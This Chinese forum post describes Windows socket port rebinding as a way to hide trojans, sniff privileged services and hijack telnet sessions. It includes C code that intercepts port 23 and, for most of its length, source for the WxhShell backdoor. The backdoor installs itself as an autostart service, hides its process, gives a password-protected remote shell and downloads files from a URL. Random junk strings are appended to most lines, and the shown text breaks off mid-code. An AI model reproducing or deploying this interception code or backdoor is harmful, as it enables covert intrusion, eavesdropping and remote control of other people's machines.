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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >syQDB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tDF=Iqu)a  
%d<uOCf\Q  
  saddr.sin_family = AF_INET; %A@Q%l6  
Z x9oj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N# o" W  
*#O8 ^3D_c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9>y6zFTV  
5^"T `,${  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nqih LUv  
[yzDa:%  
  这意味着什么?意味着可以进行如下的攻击: GfEg][f  
Rj&V~or  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,2H@xji [  
O>Y Xvu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6$"gm$3O]  
y6.Q\=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "i+fO&LpZ  
[nQ<pTg~r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8*sZ/N.  
9mdp \A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ghXh nxG  
}O+F#/6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C]22 [v4  
crV2T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NXQdyg,  
d,r%LjNI  
  #include 2yYq/J  
  #include mlolSD;7  
  #include *], ]E;  
  #include    7x *]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M" |Mte  
  int main() j5lSu~  
  { [12^NEt  
  WORD wVersionRequested; -]1F ] d  
  DWORD ret; &yFt@g]  
  WSADATA wsaData; :Oz! M&Ov  
  BOOL val; "Dbjp5_  
  SOCKADDR_IN saddr; 'je=.{[lWt  
  SOCKADDR_IN scaddr; J%ym1A9  
  int err; ZqaCe>  
  SOCKET s; ({/@=e x*  
  SOCKET sc; Z-(Vfp4  
  int caddsize; vi+k#KE  
  HANDLE mt; y99 3uP   
  DWORD tid;   %T3L-{s5  
  wVersionRequested = MAKEWORD( 2, 2 ); =Z ^=  
  err = WSAStartup( wVersionRequested, &wsaData ); Eeem y*U  
  if ( err != 0 ) { -3 }  
  printf("error!WSAStartup failed!\n"); cC'{+j8-a  
  return -1; k(>hboR5n  
  } :'-FaGy  
  saddr.sin_family = AF_INET; 8+ 5-7)  
   ;\yVwur  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8$ dJh]\Y  
I2JE@?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D]nVhOg|  
  saddr.sin_port = htons(23); (;^VdiJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oi4tj.!J  
  { 9OYsI  
  printf("error!socket failed!\n"); p"Ki$.Y  
  return -1; <<>?`7N  
  } /p| ]*={  
  val = TRUE; #`P4s>IL1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0( fN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uVJ;1H!  
  { 0*?~I;.2m$  
  printf("error!setsockopt failed!\n"); 7T \}nX1  
  return -1; $_,?SXM  
  } OA#AiQUR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fxwe,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g0w<vD`<g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;hsgi|Cy-  
3DRXao  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c!@g<<}[(  
  { |n-NK&Y(o  
  ret=GetLastError(); [bH5UTA  
  printf("error!bind failed!\n"); GJW>8*&&(  
  return -1; PE1F3u>O  
  } vluA46c  
  listen(s,2); N_TWT&o4  
  while(1) V6'"J  
  { x6A*vP0nm)  
  caddsize = sizeof(scaddr); .{as"h-.O  
  //接受连接请求 xcO Si>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  ajF-T=5  
  if(sc!=INVALID_SOCKET) ws:@Pe4AF  
  { {<7!=@j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mjUln8Jc  
  if(mt==NULL) \gferWm  
  { )24r^21.q  
  printf("Thread Creat Failed!\n"); mXnl-_  
  break; nunTTE,iq%  
  } gE^ {@^  
  } WXP=U^5Si  
  CloseHandle(mt); hR" j[  
  } =}5;rK  
  closesocket(s); 4[t1"s~Wg  
  WSACleanup(); -AcLh0pc  
  return 0; iTi]D2jC  
  }   E/@w6uIK[  
  DWORD WINAPI ClientThread(LPVOID lpParam) Afi;s. ,  
  { CqQ>"Y  
  SOCKET ss = (SOCKET)lpParam; g+h)s!$sB  
  SOCKET sc; Ndq|Hkd  
  unsigned char buf[4096]; f Co-ony  
  SOCKADDR_IN saddr; RYzDF+/  
  long num; 3uO#/EbS  
  DWORD val; ?2l#=t?PP  
  DWORD ret; 47s<xQy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jt-Cy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iK{ a9pt  
  saddr.sin_family = AF_INET; v[VUX69  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZaQg SE>Y  
  saddr.sin_port = htons(23); kW>Q9Nc=V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lquY_lrri  
  { =pQA!u]QE  
  printf("error!socket failed!\n"); (6i)m c(  
  return -1; ~`M>&E@Y_/  
  } ]O2ku^yM  
  val = 100; p.,o@GcL~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,Oojh;P_  
  { 1'tagv?  
  ret = GetLastError(); Nx>WOb98  
  return -1; |r*btyOJk  
  } 0MDdcjqw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X^mv sY  
  { J9J[.6k8  
  ret = GetLastError(); $!P(Q  
  return -1; *oLAO/)n  
  } w5,p9f}.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FtbqZN[  
  { N\XZ=t^h(  
  printf("error!socket connect failed!\n"); V {R<R2h1  
  closesocket(sc);  |/K+tH  
  closesocket(ss); PGZ.\i  
  return -1; V*P3C5 l  
  } x9}D2Ui  
  while(1) Zj;2>  
  { ;n?72&h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~I<yN`5(a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g;)xf?A9q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fhw:@@=  
  num = recv(ss,buf,4096,0); (,$ H!qKy  
  if(num>0) nnLE dJ}n  
  send(sc,buf,num,0); Qd"{2>  
  else if(num==0) 5 OR L  
  break; m)4s4P57y  
  num = recv(sc,buf,4096,0); X;ef&n`U0  
  if(num>0) Z M"J5}h  
  send(ss,buf,num,0); r2?-QvQ  
  else if(num==0) .Lz\/ OS  
  break; O[[:3!6q  
  } a x1  
  closesocket(ss); UKyOkuY:w  
  closesocket(sc); 6b+\2-eq  
  return 0 ; T)Z2=5V  
  } ~?&;nTwHe  
hPtSY'_@_  
"'p;Udt/Qm  
========================================================== \wRbhN  
J \U}U'qP  
下边附上一个代码,,WXhSHELL Q`ERI5b6  
1c);![O  
========================================================== xEtzqP<]  
$(v1q[ig  
#include "stdafx.h" *=i|E7Irg  
zt{?Nt b  
#include <stdio.h> + 5E6|  
#include <string.h> D*3\4=6x  
#include <windows.h> QUd`({/@:  
#include <winsock2.h> hEAt4z0P  
#include <winsvc.h> vtw{ A}  
#include <urlmon.h> [O*5\&6  
c;DWSgIw  
#pragma comment (lib, "Ws2_32.lib") NYtp&[s2-  
#pragma comment (lib, "urlmon.lib") E>~DlL%  
5]cmDk  
#define MAX_USER   100 // 最大客户端连接数 J$6tCFD  
#define BUF_SOCK   200 // sock buffer GKdQ  
#define KEY_BUFF   255 // 输入 buffer LY}%|w  
M B|+F  
#define REBOOT     0   // 重启 [eL?O;@BD  
#define SHUTDOWN   1   // 关机 H@0i}!U64  
B0I(/ 7  
#define DEF_PORT   5000 // 监听端口 JSX-iHhW  
A-<\?13uW  
#define REG_LEN     16   // 注册表键长度 '6i"pJ0%  
#define SVC_LEN     80   // NT服务名长度 Y$SZqW0!/  
jSVIO v:  
// 从dll定义API TJ9JIxnS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y6L_ _ RT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VS0 &[bl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '5zolp%St  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `hYj0:*)S$  
)s^D}I(  
// wxhshell配置信息 b%<-(o/  
struct WSCFG { 9%aBW7@SK  
  int ws_port;         // 监听端口 yHL2 !  
  char ws_passstr[REG_LEN]; // 口令 In)8AK(Hw  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~i 'Ib_%h  
  char ws_regname[REG_LEN]; // 注册表键名 Pe[~kog,TP  
  char ws_svcname[REG_LEN]; // 服务名 fT1/@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /bm$G"%d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l<I.;FN^9@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o/273I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M.|O+K z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b^b@W^\hn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &P 'cf|KI  
lA}(63j+b  
}; \k\ {S2SU  
2(V;OWY(@  
// default Wxhshell configuration x*GGO)r  
struct WSCFG wscfg={DEF_PORT, sd|5oz )  
    "xuhuanlingzhe", iX4?5yz~<  
    1, &u) R+7bl,  
    "Wxhshell", \x D.rBbt  
    "Wxhshell", Wt=QCutt  
            "WxhShell Service", x=(y  
    "Wrsky Windows CmdShell Service", K(P24Z\#  
    "Please Input Your Password: ", W@<(WI3  
  1, "w3#2q&  
  "http://www.wrsky.com/wxhshell.exe", @H%)!f]zWt  
  "Wxhshell.exe" NzB"u+jB  
    }; ;{mKt%#  
Q;A1&UA2  
// 消息定义模块 ._2#89V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q/'jw yj_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <1i:Z*l.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H +Dv-*i  
char *msg_ws_ext="\n\rExit."; NN(ZH73  
char *msg_ws_end="\n\rQuit."; nT.i|(xd.  
char *msg_ws_boot="\n\rReboot..."; z8v]Kt&  
char *msg_ws_poff="\n\rShutdown..."; jI})\5<R  
char *msg_ws_down="\n\rSave to "; hgt@Mb   
y(gL.08<  
char *msg_ws_err="\n\rErr!"; 6lW\-h`N G  
char *msg_ws_ok="\n\rOK!"; M\4pTcz{  
(`C#Tq  
char ExeFile[MAX_PATH]; _}8hE v  
int nUser = 0; OU2.d7  
HANDLE handles[MAX_USER]; 5]_m\zn=  
int OsIsNt; kw,eTB<;R  
$7k"?M_  
SERVICE_STATUS       serviceStatus;  6/u]r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ./SDZ:5/  
1< gY  
// 函数声明 z$#q'+$  
int Install(void); SP}!v5.  
int Uninstall(void); k@[\ C`P  
int DownloadFile(char *sURL, SOCKET wsh); H&$L1CrdL  
int Boot(int flag); X/< zxM  
void HideProc(void); T!![7Rs  
int GetOsVer(void); Bi}uL)~rD  
int Wxhshell(SOCKET wsl); B49: R >  
void TalkWithClient(void *cs); 9]u=b\fzZ  
int CmdShell(SOCKET sock); &6 ymGo  
int StartFromService(void); is?#wrV=K  
int StartWxhshell(LPSTR lpCmdLine); ?w^MnK0U)  
l', +l{\Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6}z-X*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [)efh9P*  
^/'zU,  
// 数据结构和表定义 !U 6q;' )-  
SERVICE_TABLE_ENTRY DispatchTable[] = qr$h51C&  
{ :%&|5Ytb  
{wscfg.ws_svcname, NTServiceMain}, sd5%Szx  
{NULL, NULL} `!BP.-Zv  
}; *'?aXS -'r  
g&E3Wc  
// 自我安装 3?%?J^/a  
int Install(void) B3AWJ1o  
{ '{>R-}o[3  
  char svExeFile[MAX_PATH]; v 3p'*81;  
  HKEY key; dG8_3T}i  
  strcpy(svExeFile,ExeFile); ( *&E~ g  
ey/{Z<D  
// 如果是win9x系统,修改注册表设为自启动 P/!W']OO  
if(!OsIsNt) { 0|i3#G_~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Z~} dWI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  a,ff8Qm  
  RegCloseKey(key); -- >q=hlA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \iP=V3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]z77hcjB1  
  RegCloseKey(key); DXI{ jalL  
  return 0; <%Al(Lm0  
    } #Sc9&DfX  
  } e 48N[p  
} VY#nSF`  
else { n^lr7(!6  
0 s$;3qE  
// 如果是NT以上系统,安装为系统服务 7g7[a/Bts  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7Gwo:s L  
if (schSCManager!=0) %&iodo,EP'  
{ u7/]Go44  
  SC_HANDLE schService = CreateService ljP<WD  
  ( ieap  
  schSCManager, iJU=98q  
  wscfg.ws_svcname, cM_!_8o  
  wscfg.ws_svcdisp, 4JO[yN  
  SERVICE_ALL_ACCESS, ,f@\Fs~n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `B$rr4_  
  SERVICE_AUTO_START, ;5 p;i 8m  
  SERVICE_ERROR_NORMAL, 71+ bn  
  svExeFile, oQiRjDLx  
  NULL, -=W Qed}  
  NULL, R wTzS;  
  NULL, i5 0c N<o  
  NULL, Y|!m  
  NULL J kxsua  
  ); & [z<p  
  if (schService!=0) #&}j'oD|N  
  { B,fVNpqo  
  CloseServiceHandle(schService); ]~:WGo=_  
  CloseServiceHandle(schSCManager); Sby(?yg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U#G<cV79  
  strcat(svExeFile,wscfg.ws_svcname); ()Q#@?c~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tc0(G~.N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r"9hpZH  
  RegCloseKey(key); |ju+{+  
  return 0; cTBUj  
    } eiQ42x@Z  
  } D (WdI  
  CloseServiceHandle(schSCManager); hTQ8y10a  
} ;4QE.&s`  
} 8'ut[  
-EJj j {  
return 1; rI OKCL?  
} Iw4[D#o  
?PYZW5  
// 自我卸载 t2Px?S?  
int Uninstall(void) -(},%!-_  
{ :*ZijN*{)$  
  HKEY key; rvacCwI  
Ss3~X90!*B  
if(!OsIsNt) { A%cJ5dF8~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 29^(weT"]  
  RegDeleteValue(key,wscfg.ws_regname); H)h$@14xu  
  RegCloseKey(key); {9FL}Jrt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _^g4/G#13c  
  RegDeleteValue(key,wscfg.ws_regname); {PkR6.XhR  
  RegCloseKey(key); fR b  
  return 0; -,Js2+QZ#  
  } K 6yD64  
} 'jXJ!GFw  
} ?O Puv5!pI  
else { CTe!jMZ=  
"=ki_1/P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oE_*hp+  
if (schSCManager!=0) E[i#8_  
{ @ULd~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _f~$iY  
  if (schService!=0) K_n GZ/`[  
  { +,g!xv4Q  
  if(DeleteService(schService)!=0) { Vry*=X &Q  
  CloseServiceHandle(schService); wv`ar>qVL  
  CloseServiceHandle(schSCManager); ,|Gjr T{vf  
  return 0; P 'o]#Az  
  } }(!rB#bf  
  CloseServiceHandle(schService); ;<*USS6X  
  } xLb=^Xjec  
  CloseServiceHandle(schSCManager); P @J)S ?  
} ;Ea8>  
} /6F\]JwU  
;n.h!wmJ}  
return 1; F vTswM>  
} "bB0$>0,  
E,dUO;  
// 从指定url下载文件 HRJ\H- V  
int DownloadFile(char *sURL, SOCKET wsh) B873UN  
{ r,3\32[?  
  HRESULT hr; k'*vG6!  
char seps[]= "/"; L& rtN@5;  
char *token; ^QjkZ^<dD  
char *file; ^(Z%,j3O  
char myURL[MAX_PATH]; y>:U&P^  
char myFILE[MAX_PATH]; +6}CNC9Mp  
`mI5Z*]-  
strcpy(myURL,sURL); 8GRB6-.h  
  token=strtok(myURL,seps); K'/if5>Bc  
  while(token!=NULL) +J~%z*A  
  { tSnsjd<6.  
    file=token; ]jPP]Z:y  
  token=strtok(NULL,seps); eh>FYx( S  
  } 0~+*$W  
B'mUDW8\D  
GetCurrentDirectory(MAX_PATH,myFILE); :>0,MO.^~K  
strcat(myFILE, "\\"); _mk@1ft  
strcat(myFILE, file); vC^{,?@  
  send(wsh,myFILE,strlen(myFILE),0); a\ ~118 !  
send(wsh,"...",3,0); yye5GVY$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q1{9>NI  
  if(hr==S_OK) FA\U4l-  
return 0; ir>S\VT4  
else ;;m;f^]}  
return 1; D SWmQQ  
?Ok&,\F@E  
} {-Mjs BR  
fFoZ! H  
// 系统电源模块 y<wd~!>Ubu  
int Boot(int flag) *0?@/2&  
{ bo@ ?`5  
  HANDLE hToken; Jh<s '&FR  
  TOKEN_PRIVILEGES tkp; QC!SgV  
Xh}D_c  
  if(OsIsNt) { #0Uz1[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FA;-D5=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KT*>OYI  
    tkp.PrivilegeCount = 1; eE=2~ ylU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >4-9 @i0FV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #6~Bg)7AM  
if(flag==REBOOT) { =9`UcTSi6p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?=^\kXc[  
  return 0; q9PjQ%  
} l!KPgRw  
else { kj.9\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fBh/$    
  return 0; Hq,@j{($  
} W'f"kM  
  } Owgy<@C  
  else { ^nNpT!o  
if(flag==REBOOT) { I.(@#v7T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |W$|og'wC  
  return 0; Lz p}<B  
} tZVs0eVF<  
else { ,c0LRO   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }%jpqip  
  return 0; 1X`,7B@pz  
} =kzp$ i  
} aJtpaW@  
j_~mP>el)  
return 1; i7v =o#  
} '?Q"[e  
&['x+vL9  
// win9x进程隐藏模块 ~ iQBgd@D^  
void HideProc(void) }@ktAt  
{ >}Bcv%zZ  
Y)$%-'=b+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [~RO9=;L  
  if ( hKernel != NULL ) _uL[ Z  
  { 5~T+d1md  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >Yk|(!v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H?a $o(  
    FreeLibrary(hKernel); "frioi`a2  
  } -^(KGu&L&u  
='=4tj=z  
return; '1xhP}'3)  
} 7fO<=ei:  
D/ sYH0.V$  
// 获取操作系统版本 l?rLadvc  
int GetOsVer(void) | 5:2?S2R  
{ o1?-+P/  
  OSVERSIONINFO winfo; DpQWh+WRy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O^ui+44wp  
  GetVersionEx(&winfo); Xdl dUK[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6 >;OVX  
  return 1; 0!KYi_3  
  else nf<I  
  return 0; )8eb(!}7  
} HwZl"!;Mry  
U6*[}Ww  
// 客户端句柄模块 ' (XB|5  
int Wxhshell(SOCKET wsl) *]h"J]  
{ 2<p@G#(  
  SOCKET wsh; :dRC$?f4  
  struct sockaddr_in client; `Mbs6AJ  
  DWORD myID; ($/l_F  
sQ^t8Y 9  
  while(nUser<MAX_USER) s :BW}PM  
{ V9qA'k  
  int nSize=sizeof(client); Oq,@{V@)9k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >;Vfs{Z(q  
  if(wsh==INVALID_SOCKET) return 1; &7>]# *  
N-&ZaK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]jn1T^D'  
if(handles[nUser]==0) <6Y;VH^_  
  closesocket(wsh); &Xh>w(u  
else {X{S[(|  
  nUser++; m&D I2he  
  } @9n|5.i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w0Ex}  
~Dz:n]Vk/  
  return 0; }o7-3!{L!  
} 3N+B|WrM  
j[FB*L1!D  
// 关闭 socket b]Kb ~y|  
void CloseIt(SOCKET wsh) 9L3P'!Z  
{ WLw i  
closesocket(wsh); eyp_.1C~  
nUser--; IDD`N{EA  
ExitThread(0); TQNdBq5I6  
} F E{c{G<  
`w`N5 !  
// 客户端请求句柄 <nG}]Smd7  
void TalkWithClient(void *cs) DR3om;Uk  
{ "v`q%(TA  
mAGD qz>f  
  SOCKET wsh=(SOCKET)cs; lo'#dpt<  
  char pwd[SVC_LEN]; x=L"qC9f/  
  char cmd[KEY_BUFF]; /wJ4hHY  
char chr[1]; $ BgaLJs/O  
int i,j; F?]J`F\I  
4F0w+w JD  
  while (nUser < MAX_USER) { 7UG c2J  
77sG;8HE  
if(wscfg.ws_passstr) { vO&X<5?Qc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L;?F^RK{U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dTCLE t.  
  //ZeroMemory(pwd,KEY_BUFF); rr\9HA  
      i=0; bma.RCyY<  
  while(i<SVC_LEN) { fp\mBei  
?E V^H-rr  
  // 设置超时 wb(S7OsMO  
  fd_set FdRead; s-'~t#h  
  struct timeval TimeOut; n7~4*B  
  FD_ZERO(&FdRead); B[EOz\?=m  
  FD_SET(wsh,&FdRead); ;r~1TUKb  
  TimeOut.tv_sec=8; %saP>]o  
  TimeOut.tv_usec=0; }`H{;A h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NS`hXf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bw!J!cCj  
z;e@m2.IM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N%Y!{k5T7  
  pwd=chr[0]; ohyq/u+y~A  
  if(chr[0]==0xd || chr[0]==0xa) { pO5j-d *  
  pwd=0; S^|`*%pq  
  break; qzA_ ~=g  
  } $ kHXt]fU  
  i++; 7t#Q8u?  
    } I+.U.e^gx  
LEtGrA/%@b  
  // 如果是非法用户,关闭 socket ~,KrL(jC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %3TioM[B  
} tWzBQx   
yih|6sd$F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Og5e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 60n P'xfR  
J(!=Dno  
while(1) { 7A'E+>1d  
e&:%Rr]x  
  ZeroMemory(cmd,KEY_BUFF); L'`Au/%S}  
v?6*n >R  
      // 自动支持客户端 telnet标准   KaOXqFT=  
  j=0; }Rh%bf7,  
  while(j<KEY_BUFF) { 'U ZzH$h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8au Gz ,"  
  cmd[j]=chr[0]; mOHOv61  
  if(chr[0]==0xa || chr[0]==0xd) { pCo3%(  
  cmd[j]=0; 6'e^np  
  break; ;/wH/!b  
  } z^T;d^OJc  
  j++; nHDKe )V  
    } 4VeT]`C^h  
edcz%IOM(  
  // 下载文件 ?f3R+4  
  if(strstr(cmd,"http://")) { B=%%3V)2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C{nk,j L  
  if(DownloadFile(cmd,wsh)) Akc |E!V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3)o>sp)Ji$  
  else [.xc`CF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SB('Nqih  
  } 6)ZaK  
  else {  >Z3>  
-Q5UT=^  
    switch(cmd[0]) { 2_3os P\Z  
  v5pkP  
  // 帮助 c /^:vTF  
  case '?': { F;_o `h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qx|HvT2P  
    break; toPFkc6`  
  } W)]&G}U<  
  // 安装 p$x>I3C(\  
  case 'i': { I8T*_u^_  
    if(Install()) Ah@e9`_r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Y.JC'F#  
    else T]1.":   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=#Js<&3:  
    break; xZ%3e sp  
    } K8-1?-W  
  // 卸载 R1Q,m  
  case 'r': { E>*Wu<<  
    if(Uninstall()) 1R*;U8?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R=, pv'  
    else xW9R -J \W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k'&1,78[l  
    break; vRW;{,d  
    } QQ{*j7i)  
  // 显示 wxhshell 所在路径 {g1R?W\LZ  
  case 'p': { :(/1,]bF  
    char svExeFile[MAX_PATH]; L>WxAeyu1K  
    strcpy(svExeFile,"\n\r"); Bfdfw +  
      strcat(svExeFile,ExeFile); 33eOM(`D[  
        send(wsh,svExeFile,strlen(svExeFile),0); @gf <%>  
    break; ~Eik&5 z  
    } CKFr9bT{  
  // 重启 Iix:Y}  
  case 'b': { @cxM#N8e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O0BDUpH  
    if(Boot(REBOOT)) -Q Mwtr#q}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F g):>];<9  
    else { N.]~%)K:{  
    closesocket(wsh); Yc~lYz+b  
    ExitThread(0); z(O*DwY#  
    } *0L3#. i  
    break; `}uM91;  
    } d!Y%7LmSE@  
  // 关机 yV L >Ie/  
  case 'd': { . 8ikcs  
